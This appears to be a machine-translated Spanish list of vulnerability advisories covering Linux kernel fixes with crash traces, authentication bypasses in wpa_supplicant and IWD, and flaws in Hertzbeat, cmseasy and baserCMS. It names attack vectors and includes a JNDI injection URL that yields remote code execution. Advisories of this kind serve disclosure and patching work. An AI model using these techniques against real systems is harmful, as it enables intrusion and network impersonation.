Vulnerabilidades

En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: bpf: corrige los accesos a las ranuras de la pila uninit. Se supone que los programas privilegiados pueden leer la memoria de la pila no inicializada (desde 6715df8d5) pero, antes de este parche, estos accesos se permitían de forma inconsistente. En particular, se permitían accesos por encima de state->allocated_stack, pero no por debajo de él. En otras palabras, si la pila ya era "lo suficientemente grande", se permitía el acceso, pero en caso contrario se rechazaba el acceso en lugar de permitir "hacer crecer la pila". Este rechazo no deseado ocurría en dos lugares: - en check_stack_slot_within_bounds() - en check_stack_range_initialized() Este parche dispone que estos accesos sean permitidos. Un montón de pruebas que dependían del antiguo rechazo tuvieron que cambiar; todos ellos se cambiaron para agregar que también se ejecutan sin privilegios, en cuyo caso el comportamiento anterior persiste. Una prueba no se pudo actualizar (global_func16) porque no se puede ejecutar sin privilegios por otros motivos. Este parche también corrige el seguimiento del tamaño de la pila para lecturas con desplazamiento variable. Esta segunda solución se incluye en la misma confirmación que la primera porque están interrelacionadas. Antes de este parche, las escrituras en la pila usando registros que contenían un desplazamiento variable (a diferencia de registros con valores fijos y conocidos) no contribuían adecuadamente al tamaño de pila necesario de la función. Como resultado, era posible que un programa verificara, pero luego intentara leer datos fuera de límites en tiempo de ejecución porque se le había asignado una pila demasiado pequeña. Cada función rastrea el tamaño de la pila que necesita en bpf_subprog_info.stack_ Depth, que es mantenido por update_stack_ Depth(). Para accesos regulares a la memoria, check_mem_access() estaba llamando a update_state_ Depth() pero pasaba solo la parte fija del registro de compensación, ignorando la variable compensación. Esto era incorrecto; en su lugar se debe utilizar el valor mínimo posible de ese registro. Este seguimiento ahora se soluciona centralizando el seguimiento del tamaño de la pila en grow_stack_state() y elevando las llamadas a grow_stack_state() a check_stack_access_within_bounds() como lo sugiere Andrii. El código ahora es más simple y rastrea de manera más convincente el tamaño máximo de pila correcto. check_stack_range_initialized() ahora puede confiar en que se haya asignado suficiente pila para el acceso; esto ayuda con la solución del primer problema. Se cambiaron algunas pruebas para verificar también el cálculo de la profundidad de la pila. El que falla sin este parche es verifier_var_off:stack_write_priv_vs_unpriv.

En el kernel de Linux, se resolvió la siguiente vulnerabilidad: mlxsw: espectro_acl_tcam: corrige la corrupción de la pila Cuando los filtros tc se agregan por primera vez a un dispositivo de red, el puerto local correspondiente se vincula a un grupo ACL en el dispositivo. El grupo contiene una lista de ACL. A su vez, cada ACL apunta a una región TCAM diferente donde se almacenan los filtros. Durante el reenvío, las ACL se evalúan secuencialmente hasta que se encuentra una coincidencia. Una razón para colocar filtros en diferentes regiones es cuando se agregan con prioridades decrecientes y en orden alterno, de modo que dos filtros consecutivos nunca puedan caber en la misma región debido a su uso clave. En Spectrum-2 y ASIC más nuevos, el firmware comenzó a informar que la cantidad máxima de ACL en un grupo es superior a 16, pero el diseño del registro que configura los grupos de ACL (PAGT) no se actualizó para tener en cuenta eso. Por lo tanto, es posible sufrir daños en la pila [1] en el raro caso de que se requieran más de 16 ACL en un grupo. Se soluciona limitando el tamaño máximo del grupo de ACL al mínimo entre lo que informa el firmware y las ACL máximas que caben en el registro PAGT. Agregue un caso de prueba para asegurarse de que la máquina no falle cuando se cumpla esta condición. [1] Pánico del kernel - no se sincroniza: stack-protector: La pila del kernel está dañada en: mlxsw_sp_acl_tcam_group_update+0x116/0x120 [...] dump_stack_lvl+0x36/0x50 pánico+0x305/0x330 __stack_chk_fail+0x15/0x20 mlxsw_sp_acl_tcam_group_update+ 0x116/0x120 mlxsw_sp_acl_tcam_group_region_attach +0x69/0x110 mlxsw_sp_acl_tcam_vchunk_get+0x492/0xa20 mlxsw_sp_acl_tcam_ventry_add+0x25/0xe0 mlxsw_sp_acl_rule_add+0x47/0x240 mlxsw_sp_flower_replace+0x1a9/0x1d0 tc_setup_cb _add+0xdc/0x1c0 fl_hw_replace_filter+0x146/0x1f0 fl_change+0xc17/0x1360 tc_new_tfilter+0x472/0xb90 rtnetlink_rcv_msg+0x313/0x3b0 netlink_rcv_skb +0x58/0x100 netlink_unicast+0x244/0x390 netlink_sendmsg+0x1e4/0x440 ____sys_sendmsg+0x164/0x260 ___sys_sendmsg+0x9a/0xe0 __sys_sendmsg+0x7a/0xc0 do_syscall_64+0x 40/0xe0 entrada_SYSCALL_64_after_hwframe+0x63/0x6b

En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: net: netdevsim: no intente destruir PHC en VF PHC se inicializa en nsim_init_netdevsim(), que sólo se llama si (nsim_dev_port_is_pf()). Cree una contraparte de nsim_init_netdevsim() y mueva el mock_phc_destroy() allí. Esto soluciona un fallo al intentar destruir netdevsim con VF instanciados, detectado al ejecutar la prueba devlink.sh: ERROR: desreferencia del puntero NULL del núcleo, dirección: 00000000000000b8 RIP: 0010:mock_phc_destroy+0xd/0x30 Seguimiento de llamadas: nsim_destroy+0x4a /0x70 [netdevsim] __nsim_dev_port_del+0x47/0x70 [netdevsim] nsim_dev_reload_destroy+0x105/0x120 [netdevsim] nsim_drv_remove+0x2f/0xb0 [netdevsim] dispositivo_release_driver_internal+0x1a1/0x210 bus_remove_device+0xd5/0x120 dispositivo_del+0x159/0x490 dispositivo_unregister+0x12/0x30 del_device_store +0x11a/0x1a0 [netdevsim] kernfs_fop_write_iter+0x130/0x1d0 vfs_write+0x30b/0x4b0 ksys_write+0x69/0xf0 do_syscall_64+0xcc/0x1e0 Entry_SYSCALL_64_after_hwframe+0x6f/0x77

En el kernel de Linux, se resolvió la siguiente vulnerabilidad: LoongArch: BPF: evita el acceso a la memoria fuera de los límites La prueba test_tag desencadena un error de página no controlada: # ./test_tag [130.640218] CPU 0 No se puede manejar la solicitud de paginación del kernel en virtual dirección ffff80001b898004, era == 9000000003137f7c, ra == 9000000003139e70 [ 130.640501] Ups[#3]: [ 130.640553] CPU: 0 PID: 1326 Comm: test_tag Contaminado: GDO 6.7.0-rc4 -loong-devel-gb62ab1a397cf #47 61985c1d94084daa2432f771daa45b56b10d8d2a [130.640764] Nombre de hardware: QEMU QEMU Máquina virtual, BIOS desconocido 2/2/2022 [ 130.640874] pc 9000000003137f7c ra 9000000003139e70 tp 9000000104cb4000 sp 9000000104cb7a40 [ 13 0.641001] a0 ffff80001b894000 a1 ffff80001b897ff8 a2 000000006ba210be a3 0000000000000000 [ 130.641128] a4 000000006ba210be a5 00000000000000 f1 a6 00000000000000b3 a7 0000000000000000 [ 130.641256] t0 00000000000000000 t1 00000000000007f6 t2 00000000000000000 t3 9000000004091b70 [ 130.641387] t4 00 0000006ba210be t5 0000000000000004 t6 ffffffffffffffff0 t7 90000000040913e0 [ 130.641512] t8 00000000000000005 u0 0000000000000dc0 s9 000000000 0000009 s0 9000000104cb7ae0 [ 130.641641] s1 00000000000007f6 s2 0000000000000009 s3 00000000000000095 s4 0000000000000000 [ 130.6 41771] s5 ffff80001b894000 s6 ffff80001b897fb0 s7 9000000004090c50 s8 0000000000000000 [ 130.641900] ra: 9000000003139e70 build_body+0x1fcc/0x4988 [ 130.642007] ERA: 9 000000003137f7c build_body+0xd8/0x4988 [ 130.642112] CRMD: 000000b0 (PLV0 -IE -DA +PG DACF=CC DACM=CC -WE ) [ 130.642261] PRMD: 00000004 (PPLV0 +PIE -PWE) [ 130.642353] EUEN: 00000003 (+FPE +SXE -ASXE -BTE) [ 130.642458] ECFG: 00071c1c (LIE=2-4,10-12 VS=7) [ 130.642554] ESTAT: 00010000 [PIL] (IS= ECode=1 EssubCode=0) [ 130.642658] BADV: ffff80001b898004 [ 130.642719] PRID: 0014c010 (Loongson-64bit, Loongson-3A5000) [ 1 30.642815] Módulos vinculados en: [última descarga : bpf_testmod(O)] [130.642924] Procesar test_tag (pid: 1326, threadinfo=00000000f7f4015f, tarea=000000006499f9fd) [130.643062] Pila: 0000000000000000 900000000338072 4 0000000000000000 0000000104cb7be8 [ 130.643213] 0000000000000000 25af8d9b6e600558 9000000106250ea0 9000000104cb7ae0 [ 130.643378] 0 000000000000000 0000000000000000 9000000104cb7be8 90000000049f6000 [ 130.643538] 0000000000000090 9000000106250ea0 ffff80001b894000 ffff80001b894000 [ 130.643685] 00007ffffb917790 900000000313ca94 00000000000000000 0000000000000000 [ 130.643831] ffff80001b894000 0000000000000ff7 0000000000000000 9000000100468000 [ 130.643983] 00000000000000000 0000000000000000 0000000000000040 25af8d9b6e600558 [ 130.644131] 0000000000000bb7 ffff80001b894048 0000000000000000 00000000000000 000 [ 130.644276] 9000000104cb7be8 90000000049f6000 0000000000000090 9000000104cb7bdc [ 130.644423] ffff80001b894000 0000000000000000 0 00007ffffb917790 90000000032acfb0 [ 130.644572] . .. [ 130.644629] Seguimiento de llamadas: [ 130.644641] [<9000000003137f7c>] build_body+0xd8/0x4988 [ 130.644785] [<900000000313ca94>] bpf_int_jit_compile+0x228/0x4ec [ 1 30.644891] [<90000000032acfb0>] bpf_prog_select_runtime+0x158/0x1b0 [ 130.645003] [<90000000032b3504>] bpf_prog_load+0x760/0xb44 [ 130.645089] [<90000000032b6744>] __sys_bpf+0xbb8/0x2588 [ 130.645175] [<90000000032b838 8>] sys_bpf+0x20/0x2c [ 130.645259] [<9000000003f6ab38>] do_syscall+0x7c/0x94 [ 130.645369] [<9000000003121c5c>] handle_syscall+0xbc/0x158 [ 130.645507] [ 130.645539] Código: 380839f6 380831f9 28412bae <24000ca6> 004081ad 0014 cb50 004083e8 02bff34c 58008e91 [ 130.645729] [ 130.646418] ---[ final de seguimiento 0000000000000000 ]--- En mi máquina, que tiene CONFIG_PAGE_SIZE_16KB=y, la prueba falló al cargar un programa BPF con 2039 instrucciones: prog = (struct bpf_prog *)ffff80001b894000 insn = (struct bpf_insn *)(prog->insnsi)fff ---truncado---

La implementación de PEAP en wpa_supplicant hasta la versión 2.10 permite omitir la autenticación. Para un ataque exitoso, se debe configurar wpa_supplicant para no verificar el certificado TLS de la red durante la autenticación de la Fase 1, y luego se puede abusar de una vulnerabilidad eap_peap_decrypt para omitir la autenticación de la Fase 2. El vector de ataque envía un paquete de éxito EAP-TLV en lugar de iniciar la Fase 2. Esto permite a un adversario hacerse pasar por redes Wi-Fi empresariales.

La funcionalidad de punto de acceso en eapol_auth_key_handle en eapol.c en iNet wireless daemon (IWD) anterior a 2.14 permite a los atacantes obtener acceso no autorizado a una red Wi-Fi protegida. Un atacante puede completar el protocolo de enlace EAPOL omitiendo Msg2/4 y en su lugar enviando Msg4/4 con una tecla de ceros.

cmseasy V7.7.7.9 tiene una vulnerabilidad de eliminación de archivos arbitrarios en lib/admin/template_admin.php.

Hertzbeat es un sistema de monitorización en tiempo real. En `CalculateAlarm.java`, `AviatorEvaluator` se usa para ejecutar directamente la función de expresión y no se configura ninguna política de seguridad, lo que da como resultado la inyección de script AviatorScript (que puede ejecutar cualquier método estático de forma predeterminada). La versión 1.4.1 corrige esta vulnerabilidad.

Hertzbeat es un sistema de monitorización en tiempo real. En la interfaz de `/define/yml`, SnakeYAML se usa como analizador para analizar el contenido yml, pero no se usa ninguna configuración de seguridad, lo que genera una vulnerabilidad de deserialización de YAML. La versión 1.4.1 corrige esta vulnerabilidad.

Hertzbeat es un sistema de monitorización en tiempo real. En la implementación de `JmxCollectImpl.java`, `JMXConnectorFactory.connect` es vulnerable a la inyección JNDI. La interfaz correspondiente es `/api/monitor/detect`. Si hay un campo URL, la dirección se utilizará de forma predeterminada. Cuando la URL es `service:jmx:rmi:///jndi/rmi://xxxxxxx:1099/localHikari`, se puede explotar para provocar la ejecución remota de código. La versión 1.4.1 contiene una solución para este problema.

baserCMS es un framework de desarrollo de sitios web. Antes de la versión 5.0.9, había una vulnerabilidad de cross site scripting en la función de búsqueda de sitios. La versión 5.0.9 contiene una solución para esta vulnerabilidad.

baserCMS es un framework de desarrollo de sitios web. Antes de la versión 5.0.9, había una vulnerabilidad de inyección de comandos del sistema operativo en la función de búsqueda de sitios de baserCMS. La versión 5.0.9 contiene una solución para esta vulnerabilidad.